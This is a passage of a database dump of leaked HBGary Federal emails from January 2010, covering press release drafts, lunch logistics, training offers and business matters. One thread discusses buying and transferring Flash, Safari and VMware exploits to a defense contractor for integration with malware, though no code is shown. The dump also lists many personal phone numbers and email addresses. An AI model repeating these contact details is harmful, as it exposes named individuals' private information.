easier.\r\n&nbsp;\r\nPlease feel free to call me at 650-814-3764 to discuss further! Best, Karen\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;\r\n&nbsp;\r\n--- On Mon, 1/11/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Press ReleaseTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"Ted Vera\" &lt;ted@hbgary.com&gt;Date: Monday, January 11, 2010, 5:24 AM\r\nHi Karen,Can you take a look at what I have written so far.&nbsp; I know there is something missingTed may have some input as well.&nbsp; If you could send me back any input and I will finish it up.ThanksAaronHBGary Federal and Palantir Technologies partner to provide enhanced cyber based threat intelligence[paragraph about the partnership here.]HBGary Federal and its parent company HBGary provide enhanced malware analysis and incident response products and services to combat the advanced persistent threat.Aaron Barr, CEO of HBGary Federal commented: \"It is our vision to bring together the best intelligence and analysis technologies with some of the brightest malware and threat intelligence analysts and develop a cooperative capability that can make significant contributions to the national capabilities in threat analysis and attribution.&nbsp; This is the first step, leveraging\r\n HBGarys advanced Malware analysis technologies and Palantirs leading analysis toolsuite, with trained threat and malware analysts from HBGary Federal.\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1896,'aaron_hbgary_com/1896.html'),(1072,'2010-01-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000220.M199630P3547Q1073.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Stuff','Congrats!  I have the flash exploit.  Penny (president hbgary) is writing up a paper trail that documents  the transfer of the exploits form them to HBGary Federal, to NG for limited use.  That should be done in the next few days.  The VMWare exploit is a good one as to what it gives you but it is a very trivial exploit - one line is what I am told.  It also requires an ESX server.  But if those are the two you want we will make it happen.  I am out in Colorado all week.  I will give you a call today.\r\n\r\nAaron\r\n\r\n\r\nOn Jan 12, 2010, at 9:24 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n> Hey Aaron,\r\n> Sorry for the delay in getting back to you.  Things are going well.\r\n> Joshua Michael was born on Wednesday at 1129PM, 8lb 9oz, and cute as a\r\n> button.  Wednesday was a long day.  Got home Friday and the first two\r\n> nights were up hourly but last night I fed him at 1000 and we stayed up\r\n> til 11 watching TV (guy time) then fed him at 1:00 and 4:30 so not too\r\n> bad.\r\n> \r\n> I am back to working on emails.  Out the rest of the week except for\r\n> tomorrow when I am going in for the morning.\r\n> \r\n> So, the exploits.  I would say the flash exploit or the VMWare one.  I\r\n> think the VMWare one could be of interest as there are not many of them\r\n> out there.  Understand on the Win2003.  Hopefully, we will progress to\r\n> the point that we have full trust but til then I completely understand.\r\n> I would want to stay away from Safari as if we show it to someone and\r\n> they find out it was already sold, it may raise unwarranted concerns.  I\r\n> got a guy ready to go on IRAD to integrate this together with some\r\n> malware.  Give me a call or drop me an email.\r\n> \r\n> Brian\r\n> \r\n> \r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, IO Programs\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3543\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, January 05, 2010 7:22 PM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Stuff\r\n> \r\n> Ok I have the source and binaries for the flash exploit, safari\r\n> exploit, and vmware.  Getting a JavaScript one.  Note on the vmware\r\n> wax server exploit it\'s powerful but extremely simple.  The win2k3\r\n> comes from a new source and at theoment he doesn\'t trust us enough to\r\n> give us code before payment.  The safari one has already been\r\n> purchased under a non exclusive agreement by one of your customers, at\r\n> least the larger cuatomer.\r\n> \r\n> Let\'s talk the next time u get a chance... Baby and all.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16756,'aaron_hbgary_com/16756.html'),(1073,'2010-01-12','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000220.M30605P3547Q1072.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Stuff','Hey Aaron,\r\nSorry for the delay in getting back to you.  Things are going well.\r\nJoshua Michael was born on Wednesday at 1129PM, 8lb 9oz, and cute as a\r\nbutton.  Wednesday was a long day.  Got home Friday and the first two\r\nnights were up hourly but last night I fed him at 1000 and we stayed up\r\ntil 11 watching TV (guy time) then fed him at 1:00 and 4:30 so not too\r\nbad.\r\n\r\nI am back to working on emails.  Out the rest of the week except for\r\ntomorrow when I am going in for the morning.\r\n\r\nSo, the exploits.  I would say the flash exploit or the VMWare one.  I\r\nthink the VMWare one could be of interest as there are not many of them\r\nout there.  Understand on the Win2003.  Hopefully, we will progress to\r\nthe point that we have full trust but til then I completely understand.\r\nI would want to stay away from Safari as if we show it to someone and\r\nthey find out it was already sold, it may raise unwarranted concerns.  I\r\ngot a guy ready to go on IRAD to integrate this together with some\r\nmalware.  Give me a call or drop me an email.\r\n\r\nBrian\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 05, 2010 7:22 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Stuff\r\n\r\nOk I have the source and binaries for the flash exploit, safari\r\nexploit, and vmware.  Getting a JavaScript one.  Note on the vmware\r\nwax server exploit it\'s powerful but extremely simple.  The win2k3\r\ncomes from a new source and at theoment he doesn\'t trust us enough to\r\ngive us code before payment.  The safari one has already been\r\npurchased under a non exclusive agreement by one of your customers, at\r\nleast the larger cuatomer.\r\n\r\nLet\'s talk the next time u get a chance... Baby and all.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',1981,'aaron_hbgary_com/1981.html'),(1074,'2010-01-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000220.M433459P3547Q1074.eml','\"Aaron Barr\" <aaron@hbgary.com>','text','HBGary Federal and Palantir Technologies partner to provide enhanced cyber based threat intelligence\r\n\r\nCyber attack and exploitation against U.S. are becoming increasingly complex.  The delivery mechanisms more obsfucated.  This trend will only increase as more adversaries\r\n\r\n[paragraph about the partnership here.]\r\n\r\nHBGary Federal and its parent company HBGary provide enhanced malware analysis and incident response products and services to combat the advanced persistent threat.\r\n\r\nAaron Barr, CEO of HBGary Federal commented: \"It is our vision to bring together the best intelligence and analysis technologies with some of the brightest malware and threat intelligence analysts and develop a cooperative capability that can make significant contributions to the national capabilities in threat analysis and attribution.  This is the first step, leveraging HBGarys advanced Malware analysis technologies and Palantirs leading analysis toolsuite, with trained threat and malware analysts from HBGary Federal.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8011,'aaron_hbgary_com/8011.html'),(1075,'2010-01-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000220.M605499P3547Q1075.eml','\"Matt O\'Flynn\" <matt@hbgary.com>','Lunch','Are you here?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',15313,'aaron_hbgary_com/15313.html'),(1076,'2010-01-12','\"Matt O\'Flynn\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297000220.M775439P3547Q1076.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Lunch','I am, sitting in the middle...\r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: Matt O\'Flynn\r\nSubject: Lunch\r\nSent: Jan 12, 2010 2:04 PM\r\n\r\nAre you here?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\n\r\nSent on the Sprint® Now Network from my BlackBerry®',9231,'aaron_hbgary_com/9231.html'),(1077,'2010-01-12','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000220.M956001P3547Q1077.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Press Release','HI Aaron and Ted, Here is a first draft of the press release -- please review and edit as you see fit to give it more significance and urgency&nbsp;to the government -- and security -- markets. I\'ve attached a copy plus pasted in a version below. Best, Karen\r\n&nbsp;\r\nHBGary Federal Announces Partnership With Palantir Technologies\r\nNew Partnership Provides Enhanced Cybersecurity Risk Intelligence \r\nTo U.S. Government Agencies\r\n&nbsp;\r\nWashington, D.C., January xx, 2010, Today HBGary Federal, a leading provider of expert classified cybersecurity services to the Department of Defense, Intelligence Community and other U.S. government agencies, announced a new partnership with Palantir Technologies. Together, HBGary Federal and Palantir will provide enhanced risk intelligence, including the origin of today’s global cybersecurity threats, so the federal government can better protect our national cyberinfrastructure.&nbsp; \r\n\"It is our vision to bring together the best intelligence and analysis technologies with some of the brightest malware and threat intelligence analysts and develop a cooperative capability that can make significant contributions to the national capabilities in threat analysis and attribution,” said Aaron Barr, CEO of HBGary Federal.&nbsp;“Palantir is well-respected in the government market and is a natural partner for us.” \r\nEvery day thousands of malware variants infiltrate and attack our national cyber infrastructure. As a result, the federal government is looking for the necessary risk intelligence to determine which threats pose the most danger and plan a course of action to deal with these threats. &nbsp;By leveraging HBGary’s advanced malware analysis technologies and Palantir’s leading analysis toolsuite, HBGary Federal’s trained threat and malware analysts can organize and analyze all the datasets to provide more granular threat/risk intelligence so government agencies can take the appropriate steps to mitigate the threats.\r\n \r\n&nbsp;\r\n(Palantir quote)\r\nAbout HBGary Federal \r\nHBGary Federal was founded in 2009 by former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera.&nbsp;HBGary Federal is focused on delivering HBGary’s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. HBGary Federal has offices in Washington D.C. and Colorado\r\n Springs offices, respectively. &nbsp;For more information on HBGary Federal, please visit http://www.hbgary.com&nbsp;or contact Aaron at aaron@hbgary.com or Ted at ted@hbgary.com.\r\n&nbsp; \r\n&nbsp;\r\n\r\n&nbsp;\r\n--- On Mon, 1/11/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Press ReleaseTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"Ted Vera\" &lt;ted@hbgary.com&gt;Date: Monday, January 11, 2010, 5:24 AM\r\nHi Karen,Can you take a look at what I have written so far.&nbsp; I know there is something missingTed may have some input as well.&nbsp; If you could send me back any input and I will finish it up.ThanksAaronHBGary Federal and Palantir Technologies partner to provide enhanced cyber based threat intelligence[paragraph about the partnership here.]HBGary Federal and its parent company HBGary provide enhanced malware analysis and incident response products and services to combat the advanced persistent threat.Aaron Barr, CEO of HBGary Federal commented: \"It is our vision to bring together the best intelligence and analysis technologies with some of the brightest malware and threat intelligence analysts and develop a cooperative capability that can make significant contributions to the national capabilities in threat analysis and attribution.&nbsp; This is the first step, leveraging\r\n HBGarys advanced Malware analysis technologies and Palantirs leading analysis toolsuite, with trained threat and malware analysts from HBGary Federal.\r\n\r\n',8441,'aaron_hbgary_com/8441.html'),(1078,'2010-01-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000221.M137482P3547Q1078.eml','matt@hbgary.com','Re: Lunch','I am on the right just forward of the service door.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jan 12, 2010, at 12:31 PM, \"Matt O\'Flynn\"  wrote:\r\n\r\n> I am, sitting in the middle...\r\n> ------Original Message------\r\n> From: Aaron Barr\r\n> To: Matt O\'Flynn\r\n> Subject: Lunch\r\n> Sent: Jan 12, 2010 2:04 PM\r\n>\r\n> Are you here?\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n>\r\n> Sent on the Sprint® Now Network from my BlackBerry®\r\n',11237,'aaron_hbgary_com/11237.html'),(1079,'2010-01-12','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000222.M649255P3547Q1079.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Code Section 197 Intangibles','We need to put tangible examples in the contract for what you are\r\nbrining to table so your stock will not b taxed\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: John L. Cox, CPA \r\nDate: Tue, Jan 12, 2010 at 7:00 AM\r\nSubject: Code Section 197 Intangibles\r\nTo: Penny Leavy \r\n\r\n\r\nPenny,\r\n\r\n\r\n\r\nPlease find the attached list of Section 197 intangibles and\r\nintangibles defined.  The following are the likely candidates:\r\n\r\n\r\n\r\n1              Goodwill\r\n\r\n2              Workforce in place\r\n\r\n3              Information base\r\n\r\n4              Know how\r\n\r\n\r\n\r\nWe need to be very specific under each intangible to describe in\r\ndetail the history of the intangible being contributed to the LLC by\r\nBarr and Vera.  Please let me know if I can assist further.\r\n\r\nJohn L. Cox, CPA\r\n\r\n12107 Faith Lane\r\n\r\nBowie, Maryland 20715\r\n\r\n(240) 949-6022 Voice\r\n\r\n(866) 750-1973 Fax\r\n\r\n\r\n\r\nThis message contains information that may be confidential and\r\nprivileged. Unless you are the addressee (or authorized to receive for\r\nthe addressee), you may not use, copy, print or disclose to anyone the\r\nmessage or any information contained in the message. If you have\r\nreceived this e-mail in error, please advise the sender by reply and\r\ndelete the message. Thank you.\r\n\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',2286,'aaron_hbgary_com/2286.html'),(1080,'2010-01-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000222.M925970P3547Q1080.eml','matt@hbgary.com','Re: Lunch','Got a sec?\r\n\r\n From my iPhone\r\n\r\nOn Jan 12, 2010, at 12:31 PM, \"Matt O\'Flynn\"  wrote:\r\n\r\n> I am, sitting in the middle...\r\n> ------Original Message------\r\n> From: Aaron Barr\r\n> To: Matt O\'Flynn\r\n> Subject: Lunch\r\n> Sent: Jan 12, 2010 2:04 PM\r\n>\r\n> Are you here?\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n>\r\n> Sent on the Sprint® Now Network from my BlackBerry®\r\n',9819,'aaron_hbgary_com/9819.html'),(1081,'2010-01-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000223.M282545P3547Q1082.eml','matt@hbgary.com','Re: Lunch','Matt,\r\n\r\nI have a meeting in town at 2 bit will be back for dinner.  Want to\r\nmeet up?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jan 12, 2010, at 12:31 PM, \"Matt O\'Flynn\"  wrote:\r\n\r\n> I am, sitting in the middle...\r\n> ------Original Message------\r\n> From: Aaron Barr\r\n> To: Matt O\'Flynn\r\n> Subject: Lunch\r\n> Sent: Jan 12, 2010 2:04 PM\r\n>\r\n> Are you here?\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n>\r\n> Sent on the Sprint® Now Network from my BlackBerry®\r\n',11032,'aaron_hbgary_com/11032.html'),(1082,'2010-01-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000223.M453099P3547Q1083.eml','matt@hbgary.com','Re: Lunch','Ok green jacket black stripped shirt by l3 monitor.\r\n\r\n From my iPhone\r\n\r\nOn Jan 12, 2010, at 1:26 PM, \"Matt O\'Flynn\"  wrote:\r\n\r\n> Yes sir, I m in the lobby of the exhibit hall, where are you?\r\n> ------Original Message------\r\n> From: Aaron Barr\r\n> To: matt@hbgary.com\r\n> Subject: Re: Lunch\r\n> Sent: Jan 12, 2010 3:19 PM\r\n>\r\n> Got a sec?\r\n>\r\n> From my iPhone\r\n>\r\n> On Jan 12, 2010, at 12:31 PM, \"Matt O\'Flynn\"  wrote:\r\n>\r\n>> I am, sitting in the middle...\r\n>> ------Original Message------\r\n>> From: Aaron Barr\r\n>> To: Matt O\'Flynn\r\n>> Subject: Lunch\r\n>> Sent: Jan 12, 2010 2:04 PM\r\n>>\r\n>> Are you here?\r\n>>\r\n>> Aaron\r\n>>\r\n>> From my iPhone\r\n>>\r\n>>\r\n>> Sent on the Sprint® Now Network from my BlackBerry®\r\n>\r\n>\r\n> Sent on the Sprint® Now Network from my BlackBerry®\r\n',10291,'aaron_hbgary_com/10291.html'),(1083,'2010-01-12','\"Matt O\'Flynn\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297000223.M717767P3547Q1084.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Lunch','Absolutely, give me a ring when you get back. 954 559 6934\r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: matt@hbgary.com\r\nSubject: Re: Lunch\r\nSent: Jan 12, 2010 3:26 PM\r\n\r\nMatt,\r\n\r\nI have a meeting in town at 2 bit will be back for dinner.  Want to\r\nmeet up?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jan 12, 2010, at 12:31 PM, \"Matt O\'Flynn\"  wrote:\r\n\r\n> I am, sitting in the middle...\r\n> ------Original Message------\r\n> From: Aaron Barr\r\n> To: Matt O\'Flynn\r\n> Subject: Lunch\r\n> Sent: Jan 12, 2010 2:04 PM\r\n>\r\n> Are you here?\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n>\r\n> Sent on the Sprint® Now Network from my BlackBerry®\r\n\r\n\r\nSent on the Sprint® Now Network from my BlackBerry®',8688,'aaron_hbgary_com/8688.html'),(1084,'2010-01-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000223.M913337P3547Q1085.eml','matt@hbgary.com','Re: Lunch','Near registration desk\r\n\r\n From my iPhone\r\n\r\nOn Jan 12, 2010, at 1:28 PM, \"Matt O\'Flynn\"  wrote:\r\n\r\n> Absolutely, give me a ring when you get back. 954 559 6934\r\n> ------Original Message------\r\n> From: Aaron Barr\r\n> To: matt@hbgary.com\r\n> Subject: Re: Lunch\r\n> Sent: Jan 12, 2010 3:26 PM\r\n>\r\n> Matt,\r\n>\r\n> I have a meeting in town at 2 bit will be back for dinner.  Want to\r\n> meet up?\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Jan 12, 2010, at 12:31 PM, \"Matt O\'Flynn\"  wrote:\r\n>\r\n>> I am, sitting in the middle...\r\n>> ------Original Message------\r\n>> From: Aaron Barr\r\n>> To: Matt O\'Flynn\r\n>> Subject: Lunch\r\n>> Sent: Jan 12, 2010 2:04 PM\r\n>>\r\n>> Are you here?\r\n>>\r\n>> Aaron\r\n>>\r\n>> From my iPhone\r\n>>\r\n>>\r\n>> Sent on the Sprint® Now Network from my BlackBerry®\r\n>\r\n>\r\n> Sent on the Sprint® Now Network from my BlackBerry®\r\n',10301,'aaron_hbgary_com/10301.html'),(1085,'2010-01-12','\"Matt O\'Flynn\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297000223.M97924P3547Q1081.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Lunch','Yes sir, I m in the lobby of the exhibit hall, where are you?\r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: matt@hbgary.com\r\nSubject: Re: Lunch\r\nSent: Jan 12, 2010 3:19 PM\r\n\r\nGot a sec?\r\n\r\n From my iPhone\r\n\r\nOn Jan 12, 2010, at 12:31 PM, \"Matt O\'Flynn\"  wrote:\r\n\r\n> I am, sitting in the middle...\r\n> ------Original Message------\r\n> From: Aaron Barr\r\n> To: Matt O\'Flynn\r\n> Subject: Lunch\r\n> Sent: Jan 12, 2010 2:04 PM\r\n>\r\n> Are you here?\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n>\r\n> Sent on the Sprint® Now Network from my BlackBerry®\r\n\r\n\r\nSent on the Sprint® Now Network from my BlackBerry®',806,'aaron_hbgary_com/806.html'),(1086,'2010-01-12','\"Matt O\'Flynn\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297000224.M89704P3547Q1086.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Lunch','Not sure where that is, I m right in front of the media registration table, arer we close?\r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: matt@hbgary.com\r\nSubject: Re: Lunch\r\nSent: Jan 12, 2010 3:27 PM\r\n\r\nOk green jacket black stripped shirt by l3 monitor.\r\n\r\n From my iPhone\r\n\r\nOn Jan 12, 2010, at 1:26 PM, \"Matt O\'Flynn\"  wrote:\r\n\r\n> Yes sir, I m in the lobby of the exhibit hall, where are you?\r\n> ------Original Message------\r\n> From: Aaron Barr\r\n> To: matt@hbgary.com\r\n> Subject: Re: Lunch\r\n> Sent: Jan 12, 2010 3:19 PM\r\n>\r\n> Got a sec?\r\n>\r\n> From my iPhone\r\n>\r\n> On Jan 12, 2010, at 12:31 PM, \"Matt O\'Flynn\"  wrote:\r\n>\r\n>> I am, sitting in the middle...\r\n>> ------Original Message------\r\n>> From: Aaron Barr\r\n>> To: Matt O\'Flynn\r\n>> Subject: Lunch\r\n>> Sent: Jan 12, 2010 2:04 PM\r\n>>\r\n>> Are you here?\r\n>>\r\n>> Aaron\r\n>>\r\n>> From my iPhone\r\n>>\r\n>>\r\n>> Sent on the Sprint® Now Network from my BlackBerry®\r\n>\r\n>\r\n> Sent on the Sprint® Now Network from my BlackBerry®\r\n\r\n\r\nSent on the Sprint® Now Network from my BlackBerry®',9480,'aaron_hbgary_com/9480.html'),(1087,'2010-01-12','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000225.M150830P3547Q1087.eml','\"Aaron Barr\" <aaron@hbgary.com>','Responder training for Xetron','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, \r\n\r\n&nbsp;\r\n\r\nDoes Xetron want to send anybody\r\nto training?&nbsp; The class &#8220;Using Responder for Malware Analysis&#8221; will be\r\nheld at our Sacramento office on Feb 24-25. &nbsp;Info is attached. &nbsp;Cost\r\nis $2500 but we may be able to strike Xetron a\r\nspecial deal.\r\n\r\n&nbsp;\r\n\r\nOr are they more likely to want\r\nthe training to be onsite?\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp;\r\nHBGary, Inc.\r\n\r\nPhone 301-652-8885 x104&nbsp; |&nbsp; Mobile 240-481-1419\r\n\r\nbob@hbgary.com&nbsp; |&nbsp; www.hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7814,'aaron_hbgary_com/7814.html'),(1088,'2010-01-12','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000225.M511516P3547Q1088.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Press Release','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nId like to introduce you to Lisa Gordon, Palantir’s PR\r\nconsultant.  She rocks.  \r\n\r\n&nbsp;\r\n\r\nCan you forward her your current draft press release?  She will\r\ninsert a quote where appropriate and send back.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nMatt\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12753,'aaron_hbgary_com/12753.html'),(1089,'2010-01-13','\"Chris Rouland\" <chris@endgames.us>','/aaron@hbgary.com/new/1297000225.M706233P3547Q1089.eml','\"Aaron Barr\" <aaron@hbgary.com>','HBGary - Endgame','',14176,'aaron_hbgary_com/14176.html'),(1090,'2010-01-13','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297000225.M896660P3547Q1090.eml','\"Aaron Barr\" <aaron@hbgary.com>','Services contract for commercial IR services','Hi Aaron\r\n \r\nPenny said that you will be providing services for IR to commercial clients until we can get our partners on board.\r\n \r\nI told e*Trade I would have something for them in January.\r\n \r\nWhat they want is a contract terms and pricing for budget purposes in the event that they need additional bodies for IR.\r\n \r\nThey want same day response, 24 hours and 3 days with rates for tiers of IR support.  I would also suggest discounted rates for Pre-paid services.\r\n \r\nCan you estimate when this can be available?\r\n \r\nThanks!\r\nMaria-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n',16736,'aaron_hbgary_com/16736.html'),(1091,'2010-01-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000226.M311849P3547Q1092.eml','\"Chris Rouland\" <chris@endgames.us>','Event accepted: HBGary - Endgame','Aaron Barr has accepted your iCal event invitation to the event: HBGary - Endgame, scheduled for January 14, 2010 at 4:00 PM (Eastern Standard Time).',15904,'aaron_hbgary_com/15904.html'),(1092,'2010-01-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000226.M524895P3547Q1093.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Training','Hey Brian,\r\n\r\nThere is a Responder training class Feb24-25.  Do you want to send some folks?  Its in Sacramento.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2932,'aaron_hbgary_com/2932.html'),(1093,'2010-01-13','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297000226.M712265P3547Q1094.eml','all@hbgary.com','Google and China','All,If you have not read about the drama with Google and China see this post:  http://googleblog.blogspot.com/2010/01/new-approach-to-china.html\r\nI have some friends involved with this case and it is the Advanced Persistent Threat (APT) at work there.  If Google pulls out of China, APT increasingly will be in the mainstream news.  If you have a strong relationship with a large corporation that is willing to share APT samples please let me know.  I believe we need to market the hell out of this once we have some sanitized data to share with the world.  The QIRA consultants are making a killing on this type of work right now.  \r\n--Phil\r\n',9212,'aaron_hbgary_com/9212.html'),(1094,'2010-01-13','\"George Hull\" <george.hull@tasc.com>','/aaron@hbgary.com/new/1297000226.M894870P3547Q1095.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Your status','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\n\r\n\r\nGeorge Hull has sent you a message.\r\n\r\n\r\n  Date:\r\n  1/13/2010\r\n\r\n\r\n  Subject:\r\n  Re: Your status\r\n\r\n\r\n\r\n  Aaron,\r\n\r\nThat was one of my themes from the 2d Air Force Science Board report on Cyberwar. In the 1st study, I successfully argued for the position that we cannot necessarily keep bad guys out of our networks and systems and that for warfighting systems and networks we had to learn to \"fight through\" these attacks, not pull systems off line and launch investigations.  In the 2d study, I set out a position at one point that information assurance was not enough, it was a necessary but not sufficient condition for mission success.  Instead we need Mission Assurance.  We protect systems and networks in order to protect information, we protect information in order to accomplish missions.  It is a mission assurance focus we need.  Key to a Mission Assurance focus is that we cannot leave information security completely in the hand of the A6 (or N6, G6 or J6).  It is an operational responsibility and thus the province of the 3\'s of the world and their Commanders.  Mission assurance is a top down look, while information assurance is typically bottoms up.  They are both needed.  Both the Fighting Through and Mission Assurance themes seem to have caught on.  Nice to see the study panel\'s work having some impact.\r\n\r\nHope you are doing well in your new role.  Things are interesting here. Lot\'s of change and much more to come.\r\n\r\nGeorge\r\n\r\nOn 01/12/10 12:06 PM, Aaron Barr wrote:\r\n--------------------\r\nAaron Barr Gen. Kehler states at AFCEA cyberspace conference, \"you can\'t defend cyberspace, it\'s about mission assurance\".\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n',12820,'aaron_hbgary_com/12820.html'),(1095,'2010-01-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000226.M91906P3547Q1091.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Services contract for commercial IR services','From my iPhoneBegin forwarded message:From: Maria Lucas &lt;maria@hbgary.com&gt;\r\nDate: January 12, 2010 9:05:27 PM MSTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Services contract for commercial IR services\r\nHi Aaron\r\n \r\nPenny said that you will be providing services for IR to commercial clients until we can get our partners on board.\r\n \r\nI told e*Trade I would have something for them in January.\r\n \r\nWhat they want is a contract terms and pricing for budget purposes in the event that they need additional bodies for IR.\r\n \r\nThey want same day response, 24 hours and 3 days with rates for tiers of IR support.  I would also suggest discounted rates for Pre-paid services.\r\n \r\nCan you estimate when this can be available?\r\n \r\nThanks!\r\nMaria-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n',15788,'aaron_hbgary_com/15788.html'),(1096,'2010-01-13','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000227.M383064P3547Q1097.eml','\"Phil Wallisch\" <phil@hbgary.com>,all@hbgary.com','RE: Google and China','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n 